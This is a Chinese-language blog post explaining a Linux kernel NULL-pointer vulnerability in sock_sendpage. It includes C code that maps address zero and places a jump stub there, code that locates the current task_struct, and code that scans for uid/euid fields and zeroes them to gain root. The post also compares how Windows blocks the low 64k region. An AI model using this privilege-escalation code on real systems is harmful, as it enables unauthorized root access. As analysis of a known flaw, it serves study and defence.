NULL指针一般都是应用于有效性检测的,其实这里面有一个约定俗成的规则,就是说无效指针并不一定是 NULL,只是为了简单起见,规则约定只要指针无效了就将之设置为NULL,结果就是NULL这个指针被用来检测指针有效性,于是它就不能用作其它了,而实际上NULL就是0,代表了数值编号为0的一个内存地址,抛开那个约定,它和别的addr没有任何区别,简单的说,完全可以选择一个其它的地址作为指针有效性检测,比如0x1234等等,不选其它地址的原因就是第一,NULL比较好记忆,第二,由于NULL就是0,因此很容易进行布尔判断。请看下面的程序:

 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
void null_func()
  
{
  
printf("aaaaaaaaaaaaaaaaaaaaaaaaaa/n");
  
}
  
void map_and_call_null()
  
{
  
char *addr = NULL;
  
addr = mmap(NULL, 0x1000, PROT_READ|PROT_WRITE|PROT_EXEC,MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE, 0, 0);
  
addr[0] = '/xff';
  
addr[1] = '/x25';
  
*(unsigned int *)&addr[2] = 6;
  
*(unsigned long *)&addr[6] = (unsigned long)&null_func;
  
void (*aaa)();
  
aaa = NULL; //设置为NULL
  
(*aaa)();
  
}
  
int main(void)
  
{
  
map_and_call_null(NULL);
  
}
 
结果成功打印出了一片a,这就说明NULL是可以作为一个正常的地址来使用的,如此一来就出现了一个漏洞,其实按照理论上讲除非你把NULL地址的内存的访问权限完全封死,要不然这个漏洞就是无法弥补的,只能通过程序员自己来负责了。而完全封死NULL又不符合设计规范,用户空间的进程内存是可以被该进程自由访问的,任何机构都没有权力封死一块内存的访问权限,既然不能封死NULL,那么按照规则和编译器的特性内核中的指针在初始化的时候都被初始化成了 NULL,如果后面没有再被赋予正确的值,那么它将一直是NULL,如果此时有一个执行绪没有检查NULL指针直接调用了一个可能是NULL的回调函数,那么只要在NULL地址处映射着的代码都将被执行,而映射什么代码全部是用户进程说了算的。于是乎在内核空间为了安全起见一般都将函数指针初始化为一个 stub函数,然后在该stub中直接返回一个出错码,还有一种初始化方式就是初始化为一个0xc0000000指针,用户空间是无法访问内核空间的,因此就不能往这个地址映射任何东西,内核空间和用户空间完全分治。
 
现在的内核普遍采用了stub函数的初始化方式,但是总是有一些例外,正如漏洞描述上所说的,并不是所有的事情都符合这个约定的,因此就存在有一些函数没有被初始化为stub的,socket的file_operations中的sendpage就是其中之一,它实现如下:
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
static ssize_t sock_sendpage(struct file *file,...)
  
{
  
struct socket *sock;
  
int flags;
  
sock = file->private_data;
  
flags = !(file->f_flags & O_NONBLOCK) ? 0 : MSG_DONTWAIT;
  
if (more)
  
flags |= MSG_MORE;
  
return sock->ops->sendpage(sock, page, offset, size, flags);
  
}
 
如果碰上没有初始化sock->ops->sendpage为stub的情况,那么它就是NULL,如果对应的协议族根本没有用到这个回调函数,那么它将一直是NULL,于是乎只需要在用户空间将NULL地址处映射为修改uid或者euid的代码就可以从普通权限跳跃到root权限。但是这个漏洞额度利用并不像内核自杀式漏洞的利用那么简单。
 
由于代码是在用户空间注入的,所以就不能直接用内核空间的current宏了,必须通过内核栈来间接的得到当前进程的task_struct指针,其实内核空间的current宏也是这么实现的,只不过在用户空间编译程序之前是不能动态使用内核数据结构的,那么当用户空间代码注入到内核以后(其实没有注入内核,而是引导内核空间的执行绪调用用户空间的代码而已),自己按照current的实现方式再实现一个好了,这对内核爱好者应该不难:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
static inline unsigned long get_current_4k(void)
  
{
  
unsigned long current = 0;
  
asm volatile (
  
" movl %%esp, %0;"
  
: "=r" (current)
  
);
  
current = *(unsigned long *)(current & 0xfffff000);
  
if (current < 0xc0000000 || current > 0xfffff000)
  
return 0;
  
return current;
  
}
 
 
找到了当前进程的task_struct,那么接下来就是找到其uid/euid字段并且更改之,如何找到这些字段又是一个难题,因为在用户空间并不知道该运行的内核的task_struct是怎么实现的,因此只能通过特征来猜测了,我们现在知道的信息是当前进程的uid,euid以及uid,euid等字段在task_struct中的相对位置,就是说虽然不知道uid的绝对偏移,但是知道euid和uid的相对偏移信息,如此一来就可以一个一个字节的搜索了,代码如下:
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
repeat:
  
current = (unsigned int *)orig_current;(由get_current_4k()得到)
  
while (((unsigned long)current < (orig_current + 0x1000 - 17 )) &&
  
(current[0] != our_uid || current[1] != our_uid ||
  
current[2] != our_uid || current[3] != our_uid))
  
current++;
  
if ((unsigned long)current >= (orig_current + 0x1000 - 17 )) {
  
if (orig_current == orig_current_4k) {
  
orig_current = get_current_8k();
  
goto repeat;
  
}
  
return;
  
}
  
got_root = 1;
  
memset(current, 0, sizeof(unsigned int) * 8); //最终修改task_struct的uid信息
 
如此用NULL指针漏洞就可以从普通用户权限提升到root用户权限,但是这一招在windows上能否行得通呢?我们来做一个实验:
 
1
2
3
4
5
6
7
unsigned long addr = XXX;//随便一个0到64k的地址都可以,不妨设置为NULL
  
char * p = (char *) VirtualAlloc((LPVOID)addr,0x1000,MEM_COMMIT,PAGE_READONLY);
  
DWORD dwRequest;
  
BOOL b = VirtualProtect(p,0x1000,PAGE_READWRITE,&dwRequest);
经过上述的实验,发现两个函数都失败了,为什么呢?其实在windows中明确规定了一个64k大小的用户禁入区,也就是这个区域内的内存是不能访问的,这就避免了linux中的上述的漏洞问题,但是为何linux不这么做呢?呵呵,linux不将NULL封死就是因为机制和策略相分离的原则,操作系统内核给与用户空间最大的自由,不规定内存怎么映射,随便怎么映射都可以。如果非要说linux的NULL指针没有封死是个潜在的漏洞,那也只能说该漏洞是内核路径没有严格验证指针是否为NULL导致的而不是NULL本身导致的,需要做的不是封死NULL,而是在有漏洞的地方加上NULL判断

NULL指针引起的一个linux内核漏洞的更多相关文章

  1. 如何成为一个Linux内核开发者

    你想知道如何成为一个Linux内核开发者么?或者你的老板告诉你,“去为这个设备写一个Linux驱动.“这篇文档的目的,就是通过描述你需要 经历的过程和提示你如何和社区一起工作,来教给你为达到这些目的所 ...

  2. Linux内核漏洞精准检测如何做?SCA工具不能只在软件层面

    摘要:二进制SCA工具要想更好的辅助安全人员实现安全审计.降低漏洞检测的误报率,必须向更细颗粒度的检测维度发展,而不仅仅停留在开源软件的层面,同时对漏洞库的要求也需要向细颗粒度的精准信息提出的挑战. ...

  3. 初识linux内核漏洞利用

    0x00 简介 之前只接触过应用层的漏洞利用, 这次第一次接触到内核层次的,小结一下. 0x01 概况 这次接触到的,是吾爱破解挑战赛里的一个题,给了一个有问题的驱动程序,要求在ubuntu 14.0 ...

  4. 一个linux内核编译时遇到的perl语法导致的编译问题解决

    在编译linux内核时,遇到了一个比较诡异的问题.具体log如下: Can't locate strict.pm in @INC (you may need to install the strict ...

  5. Linux内核漏洞利用-环境配置(转)

    实验环境: Ubuntu-14.04.1 x86 linux-2.6.32.1 busybox-1.27.2 qemu 0x00 安装qemu sudo apt-get install qemu qe ...

  6. 【转】第一个Linux内核驱动程序

    原文网址:http://blog.csdn.net/nexttake/article/details/8181008 刚看 O’REILLY 写的<LINUX 设备驱动程序>时.作者一再强 ...

  7. Linux kernel pwn notes(内核漏洞利用学习)

    前言 对这段时间学习的 linux 内核中的一些简单的利用技术做一个记录,如有差错,请见谅. 相关的文件 https://gitee.com/hac425/kernel_ctf 相关引用已在文中进行了 ...

  8. Linux内核分析-构造一个简单的Linux系统MenuOS

    构造一个简单的Linux系统MenuOS linux内核目录结构 arch目录包括了所有和体系结构相关的核心代码.它下面的每一个子目录都代表一种Linux支持的体系结构,例如i386就是Intel C ...

  9. Linux内核, 编译一个自己的内核

      本文,我们将一步一步地介绍如何从源代码编译和安装一个Linux内核.需要注意的是本指导基于Ubuntu 20.04版本编译安装,其它发行版可能会有差异. 在前面文章中我们反复提到过Linux内核, ...

随机推荐

  1. python写爬虫时的编码问题解决方案

    在使用Python写爬虫的时候,常常会遇到各种令人抓狂的编码错误问题.下面给出一些简单的解决编码错误问题的思路,希望对大家有所帮助. 首先,打开你要爬取的网站,右击查看源码,查看它指定的编码是什么,如 ...

  2. Linux Mint 使用 VNC Server (x11vnc) 进行远程屏幕

    https://community.linuxmint.com/tutorial/view/2334 This tutorial was adapted from here. Remove the d ...

  3. golang 切片小记

    1 切片初始化 func printSlice(s []int) { fmt.Printf("len=%d cap=%d underlying array:%p, %v\n", l ...

  4. IDEA 通过插件jetty-maven-plugin使用 jetty

    jetty:run -Djetty.port=8080 pom.xml配置 <build> <plugins> <plugin> <groupId>or ...

  5. 20155209实验一《Java开发环境的熟悉》实验报告

    20155209实验一<Java开发环境的熟悉>实验报告 实验内容 1.使用JDK编译.运行简单的Java程序: 2.使用Eclipse 编辑.编译.运行.调试Java程序. 实验步骤一 ...

  6. 20155215 2016-2017-2 《Java程序设计》第10周学习总结

    20155215 2016-2017-2 <Java程序设计>第10周学习总结 教材学习内容总结 网络概论 - 网络是能够彼此通信的计算机的总和. - 网络分为局域网和广域网. - 按照计 ...

  7. 20155230 《Java程序设计》实验五 Java网络编程及安全

    20155230 <Java程序设计>实验五 Java网络编程及安全 实验内容 1.掌握Socket程序的编写: 2.掌握密码技术的使用: 3.设计安全传输系统. 实验1 两人一组结对编程 ...

  8. 20155235 《Java程序设计》 实验四 Android开发基础

    20155235 <Java程序设计> 实验四 Android开发基础 实验要求 基于Android Studio开发简单的Android应用并部署测试; 了解Android组件.布局管理 ...

  9. 20155325 2016-2017-2 《Java程序设计》第2周学习总结

    教材学习内容总结 上节课讲了些思维方法:git,vim的使用技巧,推荐了picpick截图软件. 第三章书本上涵盖了基本语法内容 由于在语法方面java和c有相似之处,所以我重点关注不同之处和易忽略之 ...

  10. uber司机 如何提高评分、接单率、成单率?

    接单率/成单率的解释 接单率计算方法为:成功接单的订单数 除以 系统派单的订单数. 成单率计算方法为:成功完成的订单数 除以 系统派单的订单数. 滴滴快车单单2.5倍,注册地址:http://www. ...